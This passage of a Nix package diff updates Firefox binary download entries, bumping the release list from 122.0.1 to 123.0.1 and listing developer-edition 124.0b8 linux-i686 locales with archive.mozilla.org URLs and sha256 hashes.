"https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sat/firefox-124.0b8.tar.bz2"; + locale = "sat"; + arch = "linux-i686"; + sha256 = "348dbbf5d660b8792550ef382ebc950bd592eacfd4d7f14da6b9762c6da7776c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sc/firefox-124.0b8.tar.bz2"; + locale = "sc"; + arch = "linux-i686"; + sha256 = "be6234ee443ed62fcd48b83883a3b1aa8d08bb27e4151ae57ed1cf0a2aebac54"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sco/firefox-124.0b8.tar.bz2"; + locale = "sco"; + arch = "linux-i686"; + sha256 = "09300d6f2319d04a1ab4f818267bc07566e58fa3bf61f19ea5aa7846d31ebdf4"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/si/firefox-124.0b8.tar.bz2"; + locale = "si"; + arch = "linux-i686"; + sha256 = "be8ff8fefc496f37e26f4085fbff4a17f44754b352f98be9fca234ce2d2730ea"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sk/firefox-124.0b8.tar.bz2"; + locale = "sk"; + arch = "linux-i686"; + sha256 = "774899fbc337bf361ab92e81634f3c47f02b7d8332e22571376a0415eadd85ba"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sl/firefox-124.0b8.tar.bz2"; + locale = "sl"; + arch = "linux-i686"; + sha256 = "25b2e5f818328ca37fd59921ed66868924a68293333fd2edd26118ba6dd587a5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/son/firefox-124.0b8.tar.bz2"; + locale = "son"; + arch = "linux-i686"; + sha256 = "104feb16b580dc2cbee8fdd8d17678db9f036eff957d1b4e50d1e293734270dc"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sq/firefox-124.0b8.tar.bz2"; + locale = "sq"; + arch = "linux-i686"; + sha256 = "f33ef83e14680dea66e3401e159be8be324e7eba896f156f17226cb698146162"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sr/firefox-124.0b8.tar.bz2"; + locale = "sr"; + arch = "linux-i686"; + sha256 = "8d7c9969490597f1bfbe5f0b373284a26eed2c94255761b94290540eb84de86e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/sv-SE/firefox-124.0b8.tar.bz2"; + locale = "sv-SE"; + arch = "linux-i686"; + sha256 = "15ed3a7a62a46e9206321575119613997e85fea8e97a9a761456e53d825a652e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/szl/firefox-124.0b8.tar.bz2"; + locale = "szl"; + arch = "linux-i686"; + sha256 = "bb4996c80d9e035cda965b2a817e2b5c9735ea8ee22407dcddfbd41d21d9716e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ta/firefox-124.0b8.tar.bz2"; + locale = "ta"; + arch = "linux-i686"; + sha256 = "1e12b1d2d7c15458dea4c27d814954d956282309ffaf70ddb69c98e635f0788d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/te/firefox-124.0b8.tar.bz2"; + locale = "te"; + arch = "linux-i686"; + sha256 = "b4ff963d688f88eedf43085acfc6702754d25e12f43a80b019de58f4cc2855fb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/tg/firefox-124.0b8.tar.bz2"; + locale = "tg"; + arch = "linux-i686"; + sha256 = "85223aa30f3e81f204c0256e1a9a6a0c76e9681fbdb3c7474c64626b9ef5a24a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/th/firefox-124.0b8.tar.bz2"; + locale = "th"; + arch = "linux-i686"; + sha256 = "f635bd36bbd753cb3077e03418eb750baa8002a6c9f44fcaf6366872c721168e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/tl/firefox-124.0b8.tar.bz2"; + locale = "tl"; + arch = "linux-i686"; + sha256 = "776710dbfce6eba3bfc624e2711debb03d8a546c191a97c5c4ce9095f47a7aa1"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/tr/firefox-124.0b8.tar.bz2"; + locale = "tr"; + arch = "linux-i686"; + sha256 = "8782b53e8d9eebf17c01c118afff74b203e81b555c7e368960b1bc4eeea58eb3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/trs/firefox-124.0b8.tar.bz2"; + locale = "trs"; + arch = "linux-i686"; + sha256 = "055dd3e5277051a5272ce373054671c5714d2d40e62cedf837a4357d39e4ca25"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/uk/firefox-124.0b8.tar.bz2"; + locale = "uk"; + arch = "linux-i686"; + sha256 = "e23e6924dc570e08598b0dd0552a3172e107d711a2ca7460f64bbcdaedf77116"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/ur/firefox-124.0b8.tar.bz2"; + locale = "ur"; + arch = "linux-i686"; + sha256 = "8fb0251ae0590956d5a94d5eb7eff2331df364c8b032f63e817d3ad781b042bb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/uz/firefox-124.0b8.tar.bz2"; + locale = "uz"; + arch = "linux-i686"; + sha256 = "50da5b255686fdcec917b5baf4414b864c6f8fd55e515d11de2880978b1ddc23"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/vi/firefox-124.0b8.tar.bz2"; + locale = "vi"; + arch = "linux-i686"; + sha256 = "43fbed358886f514899d631d705a94dd091a862ba54f07a517e464bddbfc01b2"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/xh/firefox-124.0b8.tar.bz2"; + locale = "xh"; + arch = "linux-i686"; + sha256 = "37e909b0a9f8095699b5275905111d4057c0f3a2be41bb035f9219e349713b96"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/zh-CN/firefox-124.0b8.tar.bz2"; + locale = "zh-CN"; + arch = "linux-i686"; + sha256 = "db219f41bdf130da6acc1aec907b4c685cfd03ee45f2c27f7942695df770355b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-i686/zh-TW/firefox-124.0b8.tar.bz2"; + locale = "zh-TW"; + arch = "linux-i686"; + sha256 = "9bda59e49ce5a7c9fa3834a1e5d5c359d0ea51e6b44db77a909db36be636dc85"; + } + ]; +} diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix index 2b1b4948ae3e9..763f772075614 100644 --- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix +++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix @@ -1,1025 +1,1025 @@ { - version = "122.0.1"; + version = "123.0.1"; sources = [ - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ach/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ach/firefox-123.0.1.tar.bz2"; locale = "ach"; arch = "linux-x86_64"; - sha256 = "87d2fb3c8ab5b05dbaafabadde9e56abecb3897d331186cdaf6fb1fe27cb362b"; + sha256 = "f75b62ef742041554fd8f262f0cf5bcab2cbe1459236bef0609f48098fed219d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/af/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/af/firefox-123.0.1.tar.bz2"; locale = "af"; arch = "linux-x86_64"; - sha256 = "8f478df085d0312e7fecf76057b3e006c3c1297bcb620957edac97084bc87466"; + sha256 = "cf2c4764bd4c2bc55c29d5ce57931776e369da735f2ae41c283d83e27bda7a79"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/an/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/an/firefox-123.0.1.tar.bz2"; locale = "an"; arch = "linux-x86_64"; - sha256 = "310341a1d14cc978d855e30abac4af29538e70afc90f9f50510597de6864b570"; + sha256 = "7addefb080a8b8638bb6768812c5cf3a15ec59cd42c9e545c285c648b1c554cb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ar/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ar/firefox-123.0.1.tar.bz2"; locale = "ar"; arch = "linux-x86_64"; - sha256 = "054475b5c77c452062d89c37617fc0f6cffdf8786ee149bebabb55a2348348f0"; + sha256 = "b61ab0111db5d27fd692438f7ce8e744a21c7a767d09313eef28e8e65ce1d298"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ast/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ast/firefox-123.0.1.tar.bz2"; locale = "ast"; arch = "linux-x86_64"; - sha256 = "c8a6ba8934b1b9161c68749d6585ebdb3c561fe8c0e5c3abb91862c963e4319e"; + sha256 = "1cfaaf5b3238a62a91ba2d44ac354cb39df667c69c216494182eff77f318ac43"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/az/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/az/firefox-123.0.1.tar.bz2"; locale = "az"; arch = "linux-x86_64"; - sha256 = "9bbd6a72a86910c51b99b82521bd3af8b045b470079349f6491369aed2c2c6c5"; + sha256 = "63f5e6237eee5e43602f363731ec1d0978a8dc3e13b501bfddd38ab72b971ceb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/be/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/be/firefox-123.0.1.tar.bz2"; locale = "be"; arch = "linux-x86_64"; - sha256 = "3a1fb23201159ac602c7441b9003a128c1c42f82564285739ddffe911cfaebf5"; + sha256 = "a9971112d84ea66fb16dec059d2865ffef4358e88da37bf78f0300f71c30bab3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/bg/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/bg/firefox-123.0.1.tar.bz2"; locale = "bg"; arch = "linux-x86_64"; - sha256 = "fe7a0de5955d5d8d7f07550a2285110f4efc4a8dcc42a3a4454d3f5e4b535b7f"; + sha256 = "102814f934565406a17654c0022289b70e82aff61f90b5be6f89ed42416f6baf"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/bn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/bn/firefox-123.0.1.tar.bz2"; locale = "bn"; arch = "linux-x86_64"; - sha256 = "6c9710e8addf0476ce6848136eb3ef4e95c65ac2e31c1f5894e427ed670a2bf1"; + sha256 = "68d7a8a1ac410d934e5321886a8d4bf2401210225a220a8f531bbc0dd2fee746"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/br/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/br/firefox-123.0.1.tar.bz2"; locale = "br"; arch = "linux-x86_64"; - sha256 = "b5527d9fde97249e45d1a8b3803c1afbb7afd233ded8a2782c0784176c964411"; + sha256 = "ca451e59b8f95afc190bfd045dd63bdc6fb0133cb837cc057cc3475f9075275a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/bs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/bs/firefox-123.0.1.tar.bz2"; locale = "bs"; arch = "linux-x86_64"; - sha256 = "9120cfe7387e4d9e7326aa8528c412195c5dc71eb28f38547d06b50ae3b3ea72"; + sha256 = "fe080c32810ddffcf764a4d1df644993c1ed6160252334bda72da89307a61539"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ca-valencia/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ca-valencia/firefox-123.0.1.tar.bz2"; locale = "ca-valencia"; arch = "linux-x86_64"; - sha256 = "ad08b8988eed1f8e863f38489425a3c22baf5592d30a9a3aef483e5e79cbeb6e"; + sha256 = "76c57269959be413fb640d90fe6b3085c395180074e7b44fbd6f9e13dc8d1650"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ca/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ca/firefox-123.0.1.tar.bz2"; locale = "ca"; arch = "linux-x86_64"; - sha256 = "b3e83eec3ee87adbce9d71454fc5d724b978d2be8547e4290586583f792fe943"; + sha256 = "7fceb4101a2c29d08566fa5b0cd1e75f2f980c28997d7ea350c24fd0c5119f87"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/cak/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/cak/firefox-123.0.1.tar.bz2"; locale = "cak"; arch = "linux-x86_64"; - sha256 = "e533367b100edec15744200bab031d4ea209950022cbead53182b5848ecc962f"; + sha256 = "a20d06868da8287be80e87ed9f7300de1d94254052ec041f46ad2bf98b570563"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/cs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/cs/firefox-123.0.1.tar.bz2"; locale = "cs"; arch = "linux-x86_64"; - sha256 = "9170ab278d48571e17ac97d26f4b92cee13d6a7bebe96dd2f2b41934bba6d6a2"; + sha256 = "dd7cad292bf0e355778f0823846da1cc71b08c4ea911d5b33ff6228d5baef1ca"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/cy/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/cy/firefox-123.0.1.tar.bz2"; locale = "cy"; arch = "linux-x86_64"; - sha256 = "a17f5c48be514e815a4f590f23dac58719dfaaa4cfd422406bfe349ee77cb105"; + sha256 = "e0efd70a46747b7cca69d87f90b1fd220b0c9026e0e27d2e9e8d0a030884e56f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/da/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/da/firefox-123.0.1.tar.bz2"; locale = "da"; arch = "linux-x86_64"; - sha256 = "bda93ef58e555bdd42bde9e06441109ec756964de5e28e64eda09f27de8af736"; + sha256 = "410095c9ad4505fd9ba4d84208a8947a0a3c40a68766b73349fb2c3a56e69082"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/de/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/de/firefox-123.0.1.tar.bz2"; locale = "de"; arch = "linux-x86_64"; - sha256 = "9922a6f2773c57e20348f3fe7c3992a4f4940ecc7eb9b1dd3465a9ec91095083"; + sha256 = "5d18db69a349db7cdbe629ca39d725c6e753d163f216d3162a4f6ac84ce55585"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/dsb/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/dsb/firefox-123.0.1.tar.bz2"; locale = "dsb"; arch = "linux-x86_64"; - sha256 = "f05a2d8fa31ae73d40e95171902fe231091043e23ebc6765a2e1817c2cee150b"; + sha256 = "11afce2b590cf31d1f5f51945f469d7183262f949928709cb45290e4e93b6a2f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/el/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/el/firefox-123.0.1.tar.bz2"; locale = "el"; arch = "linux-x86_64"; - sha256 = "d54bb7bfe7d0b4419429ac94dc3de14a302b44815d4e421a07850e97bce0544c"; + sha256 = "3a8548f70d3463542550a226b9ba85b3068abae11eb657a42dc73a7eff0c58b6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/en-CA/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/en-CA/firefox-123.0.1.tar.bz2"; locale = "en-CA"; arch = "linux-x86_64"; - sha256 = "90bf34f39f1994d95620da4dc9ab7a9c158058f7fd4f8513b98faeac4e492270"; + sha256 = "b8242176ef80daafa16ecb4ac993d2d7cca759e80c6b5ace87e56bd42293b053"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/en-GB/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/en-GB/firefox-123.0.1.tar.bz2"; locale = "en-GB"; arch = "linux-x86_64"; - sha256 = "ba7e41efadd6c562a82007934d3bb8d7fb0e144e57c427973d02b2ded9df6a04"; + sha256 = "1789b98be450b4ebf208ad423ed1c40e561767a13a1f6955d09632b26b3f3b16"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/en-US/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/en-US/firefox-123.0.1.tar.bz2"; locale = "en-US"; arch = "linux-x86_64"; - sha256 = "1c502c15f71bb729e6506667c32de525849d6571f4a3a21e5b02fc08312b20e7"; + sha256 = "3b8534ecd870f25434fc7ac8b7a26470492484f24fefe3be8eed0b41db52fe43"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/eo/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/eo/firefox-123.0.1.tar.bz2"; locale = "eo"; arch = "linux-x86_64"; - sha256 = "ab5afc9cff7bcac9e85dbf2b09f4b3ad53bdc89e979490d30b055eed21736cba"; + sha256 = "3da2623bf337afc22e0334b995cbd09f830f25926556970375e9bef1306a90e5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/es-AR/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/es-AR/firefox-123.0.1.tar.bz2"; locale = "es-AR"; arch = "linux-x86_64"; - sha256 = "7675c6a57e611488d0261eebd459e92964f89e82089935857b6988ba9a7c9cc3"; + sha256 = "c84442c32bb58894af9b5eebc5a229722ca757c033f4b0d23ba9bfbfddce7bb1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/es-CL/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/es-CL/firefox-123.0.1.tar.bz2"; locale = "es-CL"; arch = "linux-x86_64"; - sha256 = "a05422ec2138dc17caa34df9b62e39034c3acd34ee80f9933a469a1729629900"; + sha256 = "4b0f1baefa170b16ce4ad3952a05c00ef4ddc425f035ffb5fa3f6af9acc63413"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/es-ES/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/es-ES/firefox-123.0.1.tar.bz2"; locale = "es-ES"; arch = "linux-x86_64"; - sha256 = "755c91a99272198b9eacfc6e3bbc25779cad7023de2c20f8c7668894f0402c00"; + sha256 = "044042e9d34bad55ac16ebceef5fa9dd81db804e366e93a501bb2a18498bcc3f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/es-MX/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/es-MX/firefox-123.0.1.tar.bz2"; locale = "es-MX"; arch = "linux-x86_64"; - sha256 = "3c879c3a04dfc3af235963fb48f822383e3f35132c4d4aad7d498de12314a039"; + sha256 = "40fd50c417335e058f1997e7e7e6c825917ccc9edb220c29aa980892bec5401d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/et/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/et/firefox-123.0.1.tar.bz2"; locale = "et"; arch = "linux-x86_64"; - sha256 = "2051ddebd23a9472bd00ddbd17284d1a54c5f4fed5aac551a8bb3a7c00219407"; + sha256 = "969523313c595059bf5f4842afd046cd37e3cca5afbcae217363cbff49c52688"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/eu/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/eu/firefox-123.0.1.tar.bz2"; locale = "eu"; arch = "linux-x86_64"; - sha256 = "741782b9c5148b7c75cad4af2bd09494dc13a27c314d2aa597121485b80f5b92"; + sha256 = "987e7f1ddab0028d1fd6e363bd589b20a9aac36d8a26c228eaa7c2589ab5cc98"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/fa/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/fa/firefox-123.0.1.tar.bz2"; locale = "fa"; arch = "linux-x86_64"; - sha256 = "06da8e5ae2e43a1f288c6c9c600c6b4756e47cff9e8f7289c5fd3b7fa905f698"; + sha256 = "06dca4a2bbfb9692c6de387984307d4c49451a171883cc83be5aec9ada973a79"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ff/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ff/firefox-123.0.1.tar.bz2"; locale = "ff"; arch = "linux-x86_64"; - sha256 = "9590a1c0d162b261ff95f6d9091bf01596945b4ab805620ba142635490c592b7"; + sha256 = "690d1d88442ecd7076f14199a3e3f618a0b04df7563fb9952425da4905f63b46"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/fi/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/fi/firefox-123.0.1.tar.bz2"; locale = "fi"; arch = "linux-x86_64"; - sha256 = "1c658c356e27da1258c6c0ab9fbc14b60e606079ad6efad5c1f98f900bb40689"; + sha256 = "32df70910840484a491dcf7f61d5f74aa7bece6686647cde0eac21999dd05152"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/fr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/fr/firefox-123.0.1.tar.bz2"; locale = "fr"; arch = "linux-x86_64"; - sha256 = "bfde4cb740bdd5db0e76a96bd6bf8fe51e2c0e27d01a617d3156231ad044f9f4"; + sha256 = "c1000ee35209f8d873c1140eadd0a880aa2f8e5bcf9b81c544aacfb0404be2ef"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/fur/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/fur/firefox-123.0.1.tar.bz2"; locale = "fur"; arch = "linux-x86_64"; - sha256 = "9d5e9438572e029e7686ad037a68bb9df6818e4277bcdf7c26b80658b7d48733"; + sha256 = "cb0c741b78c3502cb0443ca3776c87d8a08533daa77c7982ef0e6dce165d9e60"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/fy-NL/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/fy-NL/firefox-123.0.1.tar.bz2"; locale = "fy-NL"; arch = "linux-x86_64"; - sha256 = "8c33e40731d948a80500562ef8734e8637c94a7e3f46960622cf5ac993ac7188"; + sha256 = "2e476fd22368e8f650f58a1801fdbe6a37b012036681de5d664952ad349ff496"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ga-IE/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ga-IE/firefox-123.0.1.tar.bz2"; locale = "ga-IE"; arch = "linux-x86_64"; - sha256 = "82423f4bea377e33145a3a3924313fda11bded9bf20f3ebca16e945bb0f0d295"; + sha256 = "3ef381fb76e9ef821b199f2a6fffbe4a8909b4062d51f5f3a140740fbf493cf3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/gd/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/gd/firefox-123.0.1.tar.bz2"; locale = "gd"; arch = "linux-x86_64"; - sha256 = "ffcc242c45924a48506d5bc1946981068fd9f44919d85badeb8164dc827f9bef"; + sha256 = "f4e3397613747b232377cf7bb85c14f12e64a28baa8d332a97f45da8a9b98d61"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/gl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/gl/firefox-123.0.1.tar.bz2"; locale = "gl"; arch = "linux-x86_64"; - sha256 = "a52969ff57c55e3ff699830b057b28a4385f7445cdedac7d5a40676bc12b588e"; + sha256 = "8844502e4f7df3275f31b342f8236c01d44923e6a8492dc863664ae51adaa1ae"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/gn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/gn/firefox-123.0.1.tar.bz2"; locale = "gn"; arch = "linux-x86_64"; - sha256 = "f88bebb932b86954aa653acb0ad41b94eecf6f7e175248aa1d00ea2590bd35e9"; + sha256 = "6975eeebefdfe593335d209610eef81d71eacb90a2515f703132d20eaf76278a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/gu-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/gu-IN/firefox-123.0.1.tar.bz2"; locale = "gu-IN"; arch = "linux-x86_64"; - sha256 = "f887c108bb15eef8eedc36e072fe722acdd40d679d9047a3baaa376233371f34"; + sha256 = "38442209d23b9971202ace24aac5019802ced71d0575c44e47e349a81f043a55"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/he/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/he/firefox-123.0.1.tar.bz2"; locale = "he"; arch = "linux-x86_64"; - sha256 = "420af3bd36a698d513d3505e06e8fcfc966281d25f92c22482e680e3ace16cb5"; + sha256 = "b71ca8761e6264b4c8aec18ecb56aeb142d578eb8f1957ac5246183480e0b956"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/hi-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/hi-IN/firefox-123.0.1.tar.bz2"; locale = "hi-IN"; arch = "linux-x86_64"; - sha256 = "ef5fa866483a47a8f6653071d13e98a2bb2c0b393b91ba65bfb8cea63c4ad3b7"; + sha256 = "4496189f9ea47b2f45c24c01e1b357c370b83fca125fe91a57dcc847ebd9c5cd"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/hr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/hr/firefox-123.0.1.tar.bz2"; locale = "hr"; arch = "linux-x86_64"; - sha256 = "e3a148bb810559956fc864d8676707e079698a8047d80faf8a49b709f7a82ca2"; + sha256 = "80a4b79b479668ce9527098571730f51b76e0122f3546e789a476c6d1ecdffb1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/hsb/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/hsb/firefox-123.0.1.tar.bz2"; locale = "hsb"; arch = "linux-x86_64"; - sha256 = "efd884097d7f1691adf4c71f76fc2d583312e3f2a604701ba9c7f3849f7bbe95"; + sha256 = "5ee3391ac6672bb0b948eb7dfcbff2db5e5e7bfbe4affbf70774d7d36abde78e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/hu/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/hu/firefox-123.0.1.tar.bz2"; locale = "hu"; arch = "linux-x86_64"; - sha256 = "14ae9e0897ee1845f170377b2cd38129a98e28ce41124b7889be4deb1311c61c"; + sha256 = "45f8a5d8f074b97e1b9ba48dff8ce31d50f377e2699c059592c4e63b3913e51e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/hy-AM/firefox-122.0.1.tar.bz2"; + 